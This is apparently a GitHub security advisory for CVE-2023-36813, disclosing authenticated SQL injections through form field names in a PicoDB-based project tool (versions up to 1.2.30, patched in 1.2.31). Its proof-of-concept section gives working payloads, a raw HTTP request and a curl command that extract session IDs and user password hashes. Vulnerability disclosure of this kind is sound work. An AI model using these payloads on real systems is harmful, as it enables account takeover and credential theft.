Skip to content

Multiple Authenticated SQL Injections

High
fguillot published GHSA-9gvq-78jp-jxcx Jul 3, 2023

Package

No package listed

Affected versions

<=1.2.30

Patched versions

1.2.31

Description

Summary

During a review of this project, I found multiple SQL Injections. It appears that in some insert and update operations, the code improperly uses the PicoDB library to update/insert new information.

Details

Inside the source, I spotted the following dangerous code pattern (the following piece of code from ProjectEditController):

        $values = $this->request->getValues();

        $values = $this->prepareValues($project, $values);
        list($valid, $errors) = $this->projectValidator->validateModification($values);

        if ($valid) {
            if ($this->projectModel->update($values)) {
                $this->flash->success(t('Project updated successfully.'));
                return $this->response->redirect($this->helper->url->to('ProjectEditController', 'show', array('project_id' => $project['id'])), true);
            } else {
                $this->flash->failure(t('Unable to update this project.'));
            }
        }

Here the projectModel->update takes a dictionary of $key->$values, in which the $key is treated as column names in an UPDATE query. This makes possible two kinds of attacks:

  1. an attacker can update arbitrary columns in the model, bypassing all the checks. For example, it is possible to change the project token in this case (even without permission)
  2. Because PicoDB does not expect untrusted user input in the column name of a query, it is possible to inject some SQL code.

For example, take the following body payload to the path /?controller=ProjectEditController&action=update&project_id=2:

csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&test"injection=0

From this request, PICODB will build the following query:

UPDATE "projects" SET "name"=?, "email"=?, "description"=?, "task_limit"=?, "owner_id"=?, "start_date"=?, "end_date"=?, "priority_default"=?, "priority_start"=?, "test"injection"=?, "per_swimlane_task_limits"=?  WHERE "id" = ?

Here you can see that the "injection" token is injected after the "test" column name. An attacker, in this way, may be able to extract every piece of information they want from the database.
For example:

  1. A list of every session currently active in the database (Leading to a privilege escalation by leaking the admin session):
csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description"%3d(select/**/GROUP_concat(id)/**/from/**/sessions),name%3d'test'/**/,"owner_id=2

A list of every user password hash:

csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description"%3d(select/**/GROUP_concat(username,password)/**/from/**/users),name%3d'test'/**/,"owner_id=2

As said before, there are multiple injections in the code. Pretty much everywhere there is an user-controlled array supplied to a model->create or model->update.

Other part of the code that I tested and seem infected are:

  • CustomFilterController (method save and update)
  • CommentUpdate (update)

I tested this vulnerability against the default configuration of the latest version (v1.2.29). The database in use is SQLite.

PoC

In order to reproduce one of the SQL injection mentioned here you have to:

  1. Clone this repo and start the container.
  2. Register a new user, for example a user named test with password testtest
  3. Sign in as the user test
  4. Create a new personal project
  5. Take the session cookie and a valid csrf token.
  6. using a tool like burp suite, make the following request (changing the prject_id, cookies and csrf_token with valid values):
POST /?controller=ProjectEditController&action=update&project_id=*project_id* HTTP/1.1
Host: localhost
Content-Length: 281
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: zmSkin=classic; KB_SID=*sessionid*; KB_RM=*id*
Connection: close

csrf_token=*csrftoken*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description"%3d(select/**/GROUP_concat(id)/**/from/**/sessions),name%3d'test'/**/,"owner_id=2

or using CURL

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'Content-Length: 281' -H $'Cache-Control: max-age=0' -H $'sec-ch-ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"104\"' -H $'sec-ch-ua-mobile: ?0' -H $'sec-ch-ua-platform: \"Linux\"' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: null' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7' -H $'Connection: close' \
    -b $'zmSkin=classic; KB_SID=*SESSION*; KB_RM=*SESSION*' \
    --data-binary $'csrf_token=*CSRFTOKEN*&name=test&email=&description=&task_limit=0&owner_id=0&start_date=&end_date=&priority_default=0&priority_start=0&description\"%3d(select/**/GROUP_concat(id)/**/from/**/sessions),name%3d\'test\'/**/,\"owner_id=2' \
    $'http://localhost/?controller=ProjectEditController&action=update&project_id=*project_id*'
  1. go to the edit project page. You should find every session token in the description textarea.

Impact

An authenticated user is able to perform a SQL Injection, leading to a privilege escalation or loss of confidentiality.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

CVE ID

CVE-2023-36813

Weaknesses

Credits